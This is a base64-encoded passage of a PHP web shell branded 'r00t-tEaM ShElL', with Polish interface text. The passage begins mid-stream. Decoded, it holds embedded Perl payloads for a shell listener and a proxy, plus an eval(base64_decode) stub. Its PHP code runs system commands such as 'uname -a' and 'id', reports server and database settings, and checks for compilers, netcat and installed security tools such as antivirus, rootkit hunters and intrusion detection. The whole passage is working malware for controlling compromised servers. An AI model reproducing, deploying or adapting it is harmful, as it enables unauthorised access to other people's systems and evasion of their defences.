klEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DDQppUlRTVWQ3SjBOSVRFUW5mU0E5SUNkSlIwNVBVa1VuT3cwS0pHNTFiU0E5SURBN0RRcDNhR2xzWlNBb01Ta2dleUFOQ2lSamFDQTlJQ1JoYUMwK1lXTmpaWEIwS0NrN0lHbG1JQ2doSkdOb0tTQjdJSEJ5DQphVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdJRzVsZUhRN0lIME5DaXNySkc1MWJUc05DaVJ3YVdRZ1BTQm1iM0pyS0NrN0RRcHBaaUFvSVdSbFptbHVaV1FvSkhCcFpDa3BJSHNnY0hKcGJuUWdVMVJFUlZKDQpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyDQp4dmMyVW9LVHNnZlEwS2ZRMEtjM1ZpSUZKMWJpQjdEUXB0ZVNna2J5d2dKR05vTENBa2JuVnRLU0E5SUVCZk93MEtiWGtnSkhSb0lEMGdTVTg2T2xOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkUVpXVnlRDQpXUmtjaWNnUFQ0Z0pHOHRQbnNuZEc5b2IzTjBKMzBzSjFCbFpYSlFiM0owSnlBOVBpQWtieTArZXlkMGIzQnZjblFuZlNrN0RRcHBaaUFvSVNSMGFDa2dleUJsZUdsMElEQTdJSDBOQ20xNUlDUm1hRHNODQpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5DQp5SUdScFpTQWlKQ0VpT3lCOURRb2tZMmd0UG1GMWRHOW1iSFZ6YUNncE93MEtKSFJvTFQ1aGRYUnZabXgxYzJnb0tUc05DbmRvYVd4bElDZ2tZMmdnZkh3Z0pIUm9LU0I3RFFwdGVTQWtjbWx1SUQwZ0lpDQpJN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUmphQ2tzSURFcElEMGdNU0JwWmlBa1kyZzdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1IwYUNrc0lERXBJRDBnTVNCcFppQWtkR2c3RFFwdGVTZ2tjDQptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwDQpJSHQ5RFFwdGVTQWtZMkoxWm1abGNpQTlJQ0lpT3cwS2JYa2dKSFJpZFdabVpYSWdQU0FpSWpzTkNtbG1JQ2drWTJnZ0ppWWdLSFpsWXlna1pXOTFkQ3dnWm1sc1pXNXZLQ1JqYUNrc0lERXBJSHg4SUhaDQpsWXlna2NtOTFkQ3dnWm1sc1pXNXZLQ1JqYUNrc0lERXBLU2tnZXcwS2JYa2dKSEpsYzNWc2RDQTlJSE41YzNKbFlXUW9KR05vTENBa2RHSjFabVpsY2l3Z01UQXlOQ2s3RFFwcFppQW9JV1JsWm1sdVpXDQpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLDQpDUjBhQ0FnSmlZZ0lDaDJaV01vSkdWdmRYUXNJR1pwYkdWdWJ5Z2tkR2dwTENBeEtTQWdmSHdnZG1WaktDUnliM1YwTENCbWFXeGxibThvSkhSb0tTd2dNU2twS1NCN0RRcHRlU0FrY21WemRXeDBJRDBnDQpjM2x6Y21WaFpDZ2tkR2dzSUNSalluVm1abVZ5TENBeE1ESTBLVHNOQ21sbUlDZ2haR1ZtYVc1bFpDZ2tjbVZ6ZFd4MEtTa2dleUJ3Y21sdWRDQlRWRVJGVWxJZ0lpUWhYRzRpT3lCbGVHbDBJREE3SUgwDQpOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHDQpVZ0tHMTVJQ1JzWlc0Z1BTQnNaVzVuZEdnb0pIUmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQzSnBkR1VvSkhSb0xDQWtkR0oxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJDQpEQXBJSHNrZEdKMVptWmxjaUE5SUhOMVluTjBjaWdrZEdKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2MyVWdlM0J5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZRMEtkMmhwYkdVZ0tHMTVJQ1JzDQpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKDQoxWm1abGNpQTlJSE4xWW5OMGNpZ2tZMkoxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlgxOURRbz0iOw0KJGJ5cGFzczE9IlpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDSmFXRnBvWWtOb2FWbFlUbXhPYWxKbVdrZFdhbUl5VW14TFEwcGhWMFp3YjFsclRtOWhWbXhaVkcxNFQyRnNTbTFYYTJSWFlXMUplVlZ0ZUV4Uk1IQm9WakJhZDJJeGJISlViVGxvVm0xNFdsWkhNVFJVTWtaelUyMHhXR0V5VWxoWlZ6RktaVlpXZEdWRmVGSk5TRUoyVm0xd1IyTXlVbk5VYmtwaFVsZFNUMVpxUmt0VFZtUnhVMjEwVmxac2NFWlZWekF4VmxaYWNrNVliRmhoYTNCWVZGUkJlRkp0VWtaa1JrNU9VbnBvTkZZeFVrTlhhelZZVkZob1VtSkdTbGRaYkZwM1ZqRlNWbGR0UmxkU2JIQXdXa1ZhYTFack1WaFZWRVpZWVRGd1NGWnJXa3RqYkU1MFRWWmFWMkpJUWxsV2JYaGhWREZKZDA5V1pGaGlSbkJQVlcxNGQxWldWWGxqUlZwclRVUlNNMVpYZUV0aFZURjFWVzFHV21KVVJUQlVWRVpyVWxaU2NsTnNRbGRYUlVwSlZrUkdZVlV4VlhoWGJrcHFVbTFvVjFsclduZFVSbVJZWkVoYWJGSnJXbmxaYTFwaFZUSkdkR1ZGVWxkaVdHaG9WbFJHVDFZeGIzcGhSa3BwVWpKb1RWWkdXbE5SYXpCNFUydGtVMkp0VWxGV2JGcExWVEZyZDFaclpHaFdiR3d6VmpJMWExZHRSWGRPV0ZaYVlsUkdVRlJ0ZUZka1YwcElZMGRzVjFJelVUSldNV2gzVVRGRmVWTlliRlJYU0VKWFdXMTRTMWxXV25GVGFsSnNZa1pLU1ZSV1ZUVmhNa3BXWTBaV1dGWkZOVkJWZWtGNFpFWnZlbHBIUmxOV01taEVWa2N4TUU1Rk5WWlBWV2hQVmxSR2IxWnRkSGRrUmxwelZXdE9WMDFXVmpSV01qVkxWakpLUms1V2JHRldiVkpVVlRKNFlXTnNaSE5VYkZwWFlsZFJlbGRXVm1GUk1WcHlUVlprVTJKc1dsbFZiWE4zWkRGc1ZWSnROV3hTYkVwNVZqSjRZV0ZXU25WUmEyaFhZa2RSTUZwWE1VdGpNVnAxVTJ4a2FWSllRbGxXYlhoaFdWWmFWMWR1U2xoV1JscFlXV3RhWVdWV2JGVlRWRVpZVm14V05sZHJhRmRYYkZwWVlVWlNWVlpYVWxCVmJHUktaV3hrY2sxWGVGZE5SRkkwVmxSS01GZHJOVmRYYTJSVVlrZFNWVmxyWkZOV1JscDBaRWhrYUZack5YaFZWekExVmpGYWMyTkZhRlpXZWtab1ZtdGFTMVpYU2tkV2JHUm9UVVJXZVZZeWRGZE9SMDVIVm01U1dHSkdjRTlWYlhoM1ZsWmFkRTFVUWxkTlZsWTBWMnRTVjFsV1NuSk9WbEpYWWxoU2FGWnFSbGRqTVdSeVQxWmtWMkpYVVRCV2JURTBWREZhUjFaWWJGWmlXRkpXVldwS05HTldaSEZTYkU1VFlYcHNWMWxWV2xOV01WcEhVbGhzVmsxV1dsQlpWekZUVm0xT1JtRkdVbWhpUm5CNFZsY3hkMk15Vm5OVmEyaHBVak5DYUZSV1dtRlNNVlowWlVaT1YySldXakJVTVdNeFZrZEtkR016WkZwV1JWcDZXa1prUzFOV2NFZGlSVFZPVWxadmVsWnJVazloYXpsWFVXeFNWRmRGU2sxV2EyaE9UMVZzY0dFelFsQmtlakE1U1dscmNFOTNQVDBpS1NrNyI7DQokcHJ4X3BsPSJJeUYxYzNJdlltbHVMM0JsY213S2RYTmxJRk52WTJ0bGREc0tiWGtnSkhCdmNuUWdQU0FrUVZKSFZsc3dYWHg4TXpFek16YzdDbTE1SUNSd2NtOTBiMk52YkNBOUlHZGxkSEJ5YjNSdlluDQpsdVlXMWxLQ2QwWTNBbktUc0tiWGtnSkcxNVgyRmtaSElnSUQwZ2MyOWphMkZrWkhKZmFXNGdLQ1J3YjNKMExDQkpUa0ZFUkZKZlFVNVpLVHNLYzI5amEyVjBJQ2hUVDBOTExDQkJSbDlKVGtWVUxDQlRUDQowTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdlkyOXNLU0J2Y2lCa2FXVWdJbk52WTJ0bGRDZ3BPaUFrSVNJN0NuTmxkSE52WTJ0dmNIUWdLRk5QUTBzc0lGTlBURjlUVDBOTFJWUXNJRk5QWDFKRlZWTkZRVVJFDQpVaXd4SUNrZ2IzSWdaR2xsSUNKelpYUnpiMk5yYjNCMEtDazZJQ1FoSWpzS1ltbHVaQ0FvVTA5RFN5d2dKRzE1WDJGa1pISXBJRzl5SUdScFpTQWlZbWx1WkNncE9pQWtJU0k3Q214cGMzUmxiaUFvVTA5DQpEU3l3Z1UwOU5RVmhEVDA1T0tTQnZjaUJrYVdVZ0lteHBjM1JsYmlncE9pQWtJU0k3Q2lSVFNVZDdKMGxPVkNkOUlEMGdjM1ZpSUhzS1kyeHZjMlVnS0ZOUFEwc3BPd3BsZUdsME93cDlPd3AzYUdsc1pTDQpBb01Ta2dld3B1WlhoMElIVnViR1Z6Y3lCdGVTQWtjbVZ0YjNSbFgyRmtaSElnUFNCaFkyTmxjSFFnS0ZORlUxTkpUMDRzSUZOUFEwc3BPd3B0ZVNBb0pHWnBjM1FzSUNSdFpYUm9iMlFzSUNSeVpXMXZkDQpHVmZhRzl6ZEN3Z0pISmxiVzkwWlY5d2IzSjBLU0E5SUdGdVlXeDVlbVZmY21WeGRXVnpkQ2dwT3dwcFppaHZjR1Z1WDJOdmJtNWxZM1JwYjI0Z0tGSkZUVTlVUlN3Z0pISmxiVzkwWlY5b2IzTjBMQ0FrDQpjbVZ0YjNSbFgzQnZjblFwSUQwOUlEQXBJSHNLWTJ4dmMyVWdLRk5GVTFOSlQwNHBPd3B1WlhoME93cDlDbkJ5YVc1MElGSkZUVTlVUlNBa1ptbHljM1E3Q25CeWFXNTBJRkpGVFU5VVJTQWlWWE5sY2kxDQpCWjJWdWREb2dSMjl2WjJ4bFltOTBMekl1TVNBb0syaDBkSEE2THk5M2QzY3VaMjl2WjJ4bExtTnZiUzlpYjNRdWFIUnRiQ2xjYmlJN0NuZG9hV3hsSUNnOFUwVlRVMGxQVGo0cElIc0tibVY0ZENCcFppDQpBb0wxQnliM2g1TFVOdmJtNWxZM1JwYjI0Nkx5QjhmQ0F2VlhObGNpMUJaMlZ1ZERvdktUc0tjSEpwYm5RZ1VrVk5UMVJGSUNSZk93cHNZWE4wSUdsbUlDZ2tYeUE5ZmlBdlhsdGNjMXg0TURCZEtpUXZLDQpUc0tmUXB3Y21sdWRDQlNSVTFQVkVVZ0lseHVJanNLSkdobFlXUmxjaUE5SURFN0NuZG9hV3hsSUNnOFVrVk5UMVJGUGlrZ2V3cHdjbWx1ZENCVFJWTlRTVTlPSUNSZk93cHBaaUFvSkdobFlXUmxjaWtnDQpleUFnSUNBZ0NtbG1JQ2drYUdWaFpHVnlJQ1ltSUNSZklEMStJQzllVzF4elhIZ3dNRjBxSkM4cElIc0tKR2hsWVdSbGNpQTlJREE3Q24wS2ZRcDlDbU5zYjNObElDaFNSVTFQVkVVcE93cGpiRzl6WlNBDQpvVTBWVFUwbFBUaWs3Q24wS1kyeHZjMlVnS0ZOUFEwc3BPd3B6ZFdJZ1lXNWhiSGw2WlY5eVpYRjFaWE4wSUhzS2JYa2dLQ1JtYVhOMExDQWtkWEpzTENBa2NtVnRiM1JsWDJodmMzUXNJQ1J5WlcxdmRHDQpWZmNHOXlkQ3dnSkcxbGRHaHZaQ2s3Q2lSbWFYSnpkQ0E5SUR4VFJWTlRTVTlPUGpzS0pIVnliQ0E5SUNna1ptbHljM1FnUFg0Z2JYd29hSFIwY0RvdkwxeFRLeWw4S1Zzd1hUc0tLQ1J0WlhSb2IyUXNJDQpDUnlaVzF2ZEdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJQW9vSkdacGNuTjBJRDErSUcwaEtFZEZWQ2tnYUhSMGNEb3ZMeWhiWGk4NlhTc3BPajhvWEdRcUtTRWdLVHNLYVdZZ0tDRWtjbVZ0DQpiM1JsWDJodmMzUXBJSHNLWTJ4dmMyVW9VMFZUVTBsUFRpazdDbVY0YVhRN0NuMEtKSEpsYlc5MFpWOXdiM0owSUQwZ0ltaDBkSEFpSUhWdWJHVnpjeUFvSkhKbGJXOTBaVjl3YjNKMEtUc0tKR1pwY25ODQowSUQxK0lITXZhSFIwY0RwY0wxd3ZXMTVjTDEwckx5ODdDbkpsZEhWeWJpQW9KR1pwY25OMExDQWtiV1YwYUc5a0xDQWtjbVZ0YjNSbFgyaHZjM1FzSUNSeVpXMXZkR1ZmY0c5eWRDazdDbjBLYzNWaUlHDQo5d1pXNWZZMjl1Ym1WamRHbHZiaUI3Q20xNUlDZ2thRzl6ZEN3Z0pIQnZjblFwSUQwZ1FGOWJNU3d5WFRzS2JYa2dLQ1JrWlhOMFgyRmtaSElzSUNSamRYSXBPd3BwWmlBb0pIQnZjblFnSVg0Z0wxNWNaDQpDc2tMeWtnZXdva2NHOXlkQ0E5SUNoblpYUnpaWEoyWW5sdVlXMWxLQ1J3YjNKMExDQWlkR053SWlrcFd6SmRPd29rY0c5eWRDQTlJRGd3SUhWdWJHVnpjeUFvSkhCdmNuUXBPd3A5Q2lSb2IzTjBJRDBnDQphVzVsZEY5aGRHOXVJQ2drYUc5emRDa2diM0lnY21WMGRYSnVJREE3Q2lSa1pYTjBYMkZrWkhJZ1BTQnpiMk5yWVdSa2NsOXBiaUFvSkhCdmNuUXNJQ1JvYjNOMEtUc0tjMjlqYTJWMElDZ2tYMXN3WFN3DQpnUVVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYjJOdmJDa2diM0lnWkdsbElDSnpiMk5yWlhRb0tTQTZJQ1FoSWpzS1kyOXVibVZqZENBb0pGOWJNRjBzSUNSa1pYTjBYMkZrWkhJcElHDQo5eUlISmxkSFZ5YmlBd093b2tZM1Z5SUQwZ2MyVnNaV04wS0NSZld6QmRLVHNnSUFva2ZDQTlJREU3Q25ObGJHVmpkQ2drWTNWeUtUc0tjbVYwZFhKdUlERTdDbjA9IjsNCmlmKCR1bml4KQ0KIHsNCiBpZighaXNzZXQoJF9DT09LSUVbJ3VuYW1lJ10pKSB7ICR1bmFtZSA9IGV4KCd1bmFtZSAtYScpOyBzZXRjb29raWUoJ3VuYW1lJywkdW5hbWUpOyB9IGVsc2UgeyAkdW5hbWUgPSAkX0NPT0tJRVsndW5hbWUnXTsgfQ0KIGlmKCFpc3NldCgkX0NPT0tJRVsnaWQnXSkpIHsgJGlkID0gZXgoJ2lkJyk7IHNldGNvb2tpZSgnaWQnLCRpZCk7IH0gZWxzZSB7ICRpZCA9ICRfQ09PS0lFWydpZCddOyB9DQogaWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9DQogZWxzZSBpZihpc3NldCgkX0NPT0tJRVsnc3lzY3RsJ10pKSB7ICRzeXNjdGwgPSAkX0NPT0tJRVsnc3lzY3RsJ107IH0NCiBlbHNlICANCiAgew0KICAgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7IH0NCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiAgIHNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsNCiAgfSAgDQogfQ0KZWNobyAkaGVhZDsNCmVjaG8gJzwvaGVhZD4nOw0KIA0KZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPSJoZWFkIiB3aWR0aD0xNjA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9Mj48Y2VudGVyPjxiPnIwMHQtdEVhTSBTaEVsTCAnLiR2ZXJzaW9uLic8YnI+PGZvbnQgc2l6ZT0xPkVkaXQgQnkgcjAwdC10RWFNPC9mb250PjwvY2VudGVyPjwvYj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9ImhlYWQiPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPic7DQplY2hvIHdzKDIpLiI8Yj4iLmRhdGUgKCJkLW0tWSBIOmk6cyIpLiI8L2I+ICIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0MiddLiI6IFs8Zm9udCBjb2xvcj0jRkZGRkZGPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIjwvZm9udD5dIjsNCmlmKGlzc2V0KCRfU0VSVkVSWydYX0ZPUldBUkRFRF9GT1InXSkpe2VjaG8gIiBYX0ZPUldBUkRFRF9GT1I6IFs8Zm9udCBjb2xvcj1yZWQ+Ii4kX1NFUlZFUlsnWF9GT1JXQVJERURfRk9SJ10uIjwvZm9udD5dIjt9DQppZihpc3NldCgkX1NFUlZFUlsnQ0xJRU5UX0lQJ10pKXtlY2hvICIgQ0xJRU5UX0lQOiBbPGZvbnQgY29sb3I9I0ZGRkZGRj4iLiRfU0VSVkVSWydDTElFTlRfSVAnXS4iPC9mb250Pl0iO30NCmVjaG8gIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDMnXS4iOiBbPGZvbnQgY29sb3I9I0ZGRkZGRj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9mb250Pl0iOw0KIA0KZWNobyAiPGJyPiI7DQogDQplY2hvIHdzKDIpLiJQSFA6IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiI7DQokY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOw0KZWNobyB3cygyKTsNCmVjaG8gImNVUkw6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IikpOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJNeVNRTDogPGI+IjsNCiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsNCmlmKCRteXNxbF9vbil7DQplY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7IH0NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsNCiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7fQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJPcmFjbGU6IDxiPiI7DQokb3JhX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKTsNCmlmKCRvcmFfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj48YnI+Ii53cygyKTsNCiANCmVjaG8gInNhZmVfbW9kZTogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIm9wZW5fYmFzZWRpcjogPGI+IjsNCmlmKCRvcGVuX2Jhc2VkaXIpIHsgaWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+aW5pX2dldCB3eWxhY3pvbmUhPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4kZGY8L2ZvbnQ+PC9iPiI7fTt9DQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+LS0tPC9mb250PjwvYj4iO30NCmVjaG8gd3MoMikuInNhZmVfbW9kZV9leGVjX2RpcjogPGI+IjsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPXJlZD4tLS08L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5pbmlfZ2V0IHd5bGFjem9uZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4ic2FmZV9tb2RlX2luY2x1ZGVfZGlyOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPi0tLTwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgd3lsYWN6b25lITwvZm9udD48L2I+Ijt9DQplY2hvICI8YnI+Ii53cygyKTsNCmVjaG8gIld5bGFjem9uZSBmdW5rY2plIDogPGI+IjskZGY9J2luaV9nZXQgIGRpc2FibGUhJzsNCmlmKChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpICYmICgnJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+LS0tPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPiI7fQ0KIA0KJGZyZWUgPSBAZGlza2ZyZWVzcGFjZSgkZGlyKTsNCmlmICghJGZyZWUpIHskZnJlZSA9IDA7fQ0KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOw0KaWYgKCEkYWxsKSB7JGFsbCA9IDA7fQ0KZWNobyAiPGJyPiIud3MoMikuIldvbG5hIHBhbWllYyA6IDxiPiIudmlld19zaXplKCRmcmVlKS4iPC9iPiBDYWxrb3dpdGEgcGFtaWVjOiA8Yj4iLnZpZXdfc2l6ZSgkYWxsKS4iPC9iPiI7DQogDQokdXN0PScnOw0KaWYoJHVuaXggJiYgISRzYWZlX21vZGUpew0KaWYgKHdoaWNoKCdnY2MnKSkgeyR1c3QuPSJnY2MsIjt9DQppZiAod2hpY2goJ2NjJykpIHskdXN0Lj0iY2MsIjt9DQppZiAod2hpY2goJ2xkJykpIHskdXN0Lj0ibGQsIjt9DQppZiAod2hpY2goJ3BocCcpKSB7JHVzdC49InBocCwiO30NCmlmICh3aGljaCgncGVybCcpKSB7JHVzdC49InBlcmwsIjt9DQppZiAod2hpY2goJ3B5dGhvbicpKSB7JHVzdC49InB5dGhvbiwiO30NCmlmICh3aGljaCgncnVieScpKSB7JHVzdC49InJ1YnksIjt9DQppZiAod2hpY2goJ21ha2UnKSkgeyR1c3QuPSJtYWtlLCI7fQ0KaWYgKHdoaWNoKCd0YXInKSkgeyR1c3QuPSJ0YXIsIjt9DQppZiAod2hpY2goJ25jJykpIHskdXN0Lj0ibmV0Y2F0LCI7fQ0KaWYgKHdoaWNoKCdsb2NhdGUnKSkgeyR1c3QuPSJsb2NhdGUsIjt9DQppZiAod2hpY2goJ3N1aWRwZXJsJykpIHskdXN0Lj0ic3VpZHBlcmwsIjt9DQp9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpKSB7JHVzdC49InBjbnRsX2V4ZWMsIjt9DQojaWYgKHdoaWNoKCcnKSkgeyR1c3QuPSIsIjt9DQppZigkdXN0KXtlY2hvICI8YnI+Ii53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J10uIjogPGZvbnQgY29sb3I9Ymx1ZT4iLiR1c3QuIjwvZm9udD4iO30NCiANCiR1c3Q9Jyc7DQppZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7DQppZiAod2hpY2goJ2thdicpKSB7JHVzdC49ImthdiwiO30NCmlmICh3aGljaCgnbm9kMzInKSkgeyR1c3QuPSJub2QzMiwiO30NCmlmICh3aGljaCgnYmRjb3JlZCcpKSB7JHVzdC49ImJpdGRlZmVuZGVyLCI7fQ0KaWYgKHdoaWNoKCd1dnNjYW4nKSkgeyR1c3QuPSJtY2FmZWUsIjt9DQppZiAod2hpY2goJ3NhdicpKSB7JHVzdC49InN5bWFudGVjLCI7fQ0KI2lmICh3aGljaCgnJykpIHskdXN0Lj0iLCI7fQ0KaWYgKHdoaWNoKCdkcndlYmQnKSkgeyR1c3Q9ImRyd2ViZCwiO30NCmlmICh3aGljaCgnY2xhbWQnKSkgeyR1c3QuPSJjbGFtZCwiO30NCmlmICh3aGljaCgncmtodW50ZXInKSkgeyR1c3QuPSJya2h1bnRlciwiO30NCmlmICh3aGljaCgnY2hrcm9vdGtpdCcpKSB7JHVzdC49ImNoa3Jvb3RraXQsIjt9DQppZiAod2hpY2goJ2lwdGFibGVzJykpIHskdXN0Lj0iaXB0YWJsZXMsIjt9DQppZiAod2hpY2goJ2lwZncnKSkgeyR1c3QuPSJpcGZ3LCI7fQ0KaWYgKHdoaWNoKCd0cmlwd2lyZScpKSB7JHVzdC49InRyaXB3aXJlLCI7fQ0KaWYgKHdoaWNoKCdzaGllbGRjYycpKSB7JHVzdC49InN0YWNrc2hpZWxkLCI7fQ0KaWYgKHdoaWNoKCdwb3J0c2VudHJ5JykpIHskdXN0Lj0icG9ydHNlbnRyeSwiO30NCmlmICh3aGljaCgnc25vcnQnKSkgeyR1c3QuPSJzbm9ydCwiO30NCmlmICh3aGljaCgnb3NzZWMnKSkgeyR1c3QuPSJvc3NlYywiO30NCmlmICh3aGljaCgnbGlkc2FkbScpKSB7JHVzdC49ImxpZHNhZG0sIjt9DQppZiAod2hpY2goJ3RjcGxvZGcnKSkgeyR1c3QuPSJ0Y3Bsb2RnLCI7fQ0KaWYgKHdoaWNoKCd0cmlwd2lyZScpKSB7JHVzdC49InRyaXB3aXJlLCI7fQ0KaWYgKHdoaWNoKCdzeGlkJykpIHskdXN0Lj0ic3hpZCwiO30NCmlmICh3aGljaCgnbG9nY2hlY2snKSkgeyR1c3QuPSJsb2djaGVjaywiO30NCmlmICh3aGljaCgnbG9nd2F0Y2gnKSkgeyR1c3QuPS